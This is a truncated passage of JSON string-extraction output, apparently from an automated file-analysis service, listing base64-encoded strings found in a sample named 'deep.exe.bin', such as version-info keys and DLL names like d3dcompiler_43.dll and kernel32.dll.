Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OUUoXH5gdjZB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OVdKIF9YW1N0eA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OlxIR1lCVGFxYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OkJsSnt0LjA+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OkJRW0tST1JI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OlJAPSt7YWRU","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Oyh4WiJ9amk/","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ozk1UDJoX0Aq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O0YsTF91d01YdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O2Z6TVhCPFQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O3IudmNMU3tgaUtQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O3lNYz5TTnpO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PDlYS1ggLD5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PF9KU1h8TWRFaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PGNPYTB3VTg6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PGcvLGVYLVgk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PHQqVTN6LmhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PHtXV0w7V302OXw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PT44bzBeOz53","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PXNIaHUja2pC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PXZKbyx7YDUv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PkBGUWRrO1c3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pl5aTHFLRkh2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pmc1MFJ7Ol53SSw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PkhuMTBVVmRI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PklyTntBZzU+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pkp7LDlcL2Ax","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PksxXm0ubmF9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PnNeY1BNOW5Q","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pn0mTGlVdS4vMl8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pyk3dHtxKz97M0k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PzN8dlBzb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pzo0VzcxOmAvQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P0UzImo7Rmwr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P0lnVzFqW2glaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P09cfjcvVCop","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P1NxI11NbXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P3RDbU9vbmpuXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QCtbNXk8RltgLkU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QDc6eyNtayE0YzNHeCM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QHV5V1gmIEZm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"W05XMy9KSCF5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCNUakFgb1pxRGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCplNkkhY1xu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XDVgNWQ1aDUo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XEVZcltPWHEw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGcpe1t3fmI5Xy8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGdPIEZMKlxkUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XTlka09CeX0wL1w1dmZkUw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XUJCP1FLX3A8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XVlJdEdwRHlM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XiZSX1EwLVY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Xl0tKHRlPEJh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XkpqTXAlWWVI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Xnssc00hOzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XyJSW3JdMzNP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XyUiPzh2VTxf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XyszNDlwWiNU","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"X0s6JkR2XDw6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"X3AjVyQpXE4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YDQxbl85fHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YGNQe1N5ZX5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YGlLWmc+elI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QSQqKy9sUHBGd1lA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QSRLS0BwQ2RQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YS1ZdGNwOHo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YTFYYHlhYl4h","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YVxqKCI1aS0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QWQ1fGx2eipM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXJcMytTaGwleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YVdfUSFheE5e","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YVh5MyFpTypgLw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YX13LmVTfGB2Wi4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qis+cGZ4eEcu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YiwzMiBWSkRR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YjV8Rkglb3Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlxMNVFANHhu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QkZDbFxRYFdfYSs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qll+WFU+WWYs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YlpcbFNJMUdj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Yygrc2FaNylJcFk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QylcPUB7bkc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YzNOMURQclk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QzssSlVYZmNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qz1zJG4/T11RJg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q0w6LTlFeWVA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Y00sLmtPWTB1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29ycG9yYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Y1EhcipffGcxNGAzUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Y1k2RD5TKlU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZC5CZWpjekNWI2oi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZDNkY29tcGlsZXJfNDMuZGxs","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZDkjPUhoOExMOg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RDl1ZkdraTl7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZGNvbXBpbGVyXzQzLmRsbA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0M0QgSExTTCBDb21waWxlcg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0WCBmb3IgV2luZG93cw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZGwldFhsTyI0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZExceCUkbD0kU1g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZGxQIDA/JltT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZE48YlFjbGZy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZHM9LGQ7aldhXw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RHYoI3Y9QWVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZFlEMTIgQiIh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RFlMUFRFfVpu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RSdHK0BUWlg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZS8uLFlmMHZzcQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RWVhYHs1UVtgVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZUsuJCxEcmk7dV8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZU1ZMyBLdGokLQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RVRlVjE9am0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZXglRWdpXSc9W1tM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RVlvYUs3e2k5fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZXlzOGdEJEpw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZiZfLnxESDMm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZidDTFEkOm0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RipSdlBVeyQ/","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Zi5ScTE/UkV6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZjJzRFpIWUQ4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RltlVmReNkc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RltNZVE9RDYs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RkQpRypiK31f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RkdIKUx4RkstIQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Zm9AVH11aV5Q","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RnUgWXYgPncgXnogV3sy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RlhwaS9qJ3As","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Rnl3eFpJOWRC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZyFfaW5KbGBo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RyczM3Q2WWYkOlFaUg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RydVfUkpWm4p","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aCU6dkNSXW9YOHA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SDYiWyAuLD0x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SDwnfV4+XC5r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SD4kJW5iWkt9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SF08fCxZJWBhOw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SF5XVideX31s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SEkheEkyT1Qx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aEkjWX1eLllYPg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SGs3YCZwQDAlKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aGtOfDpiMzI7MQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aExmWG9ROEYqdlU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aGxHJXpbYjpVRVpp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aFM2OXEmPDc3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SHVlYD8oMiI9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SHh5X296IChE","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aHt2Ty9weEww","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SH1IWVtnJyZlJDRIZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aTNyPi5AfHU6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aUEmVmMvT18gQg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SUJgSjw0MihXOg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aWYyIC9yWlBfTA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SWcgRFtcaDUk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SU42LzE2Z2xR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxOYW1l","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SW9VJztGXC5Z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXR8MmNfUWs6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aVkpYXBhPCM7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SXsnQH5nIDBPTi8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aX54aG4nQy8l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aX5YVT47NTc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SidDYDhQXSxg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aihdSGx9Wzs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"amhDTzFEWFNA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SmxTRWRKRGpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Sn0hV1MhRixZ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SyUzXy1rPmosTilb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aypTNChGaitxa0o=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"azFkIWxtISxA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SzczfWQ5YSk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"azxJNzVdbDhJXkk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"az54OnJKLXRtYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a0BgdE4mIGd6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"S0UwKXYoKyhw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a2VybmVsMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a0YkIj9bOjVU","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"S2okUmkzWH17","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a1BoPm5iIHw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"a3x+ai1zZy9f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TDRRdzZsdzQw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bDwzZlNbRys=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bENDdzs+SS1+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxDb3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TEV+dW1NZEU9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bGZLXWcpSy1iQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bHErNFt7JDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TShhYjw6QmJo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bTV0enQ3fSpf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bTxRR2RBa0kt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bUBmIH1pIks3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bV5sY05LbXl0TSxO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bV51cFo4TX0j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWInUXtBYnQ9","type":"Ansi","source":"Memory/File 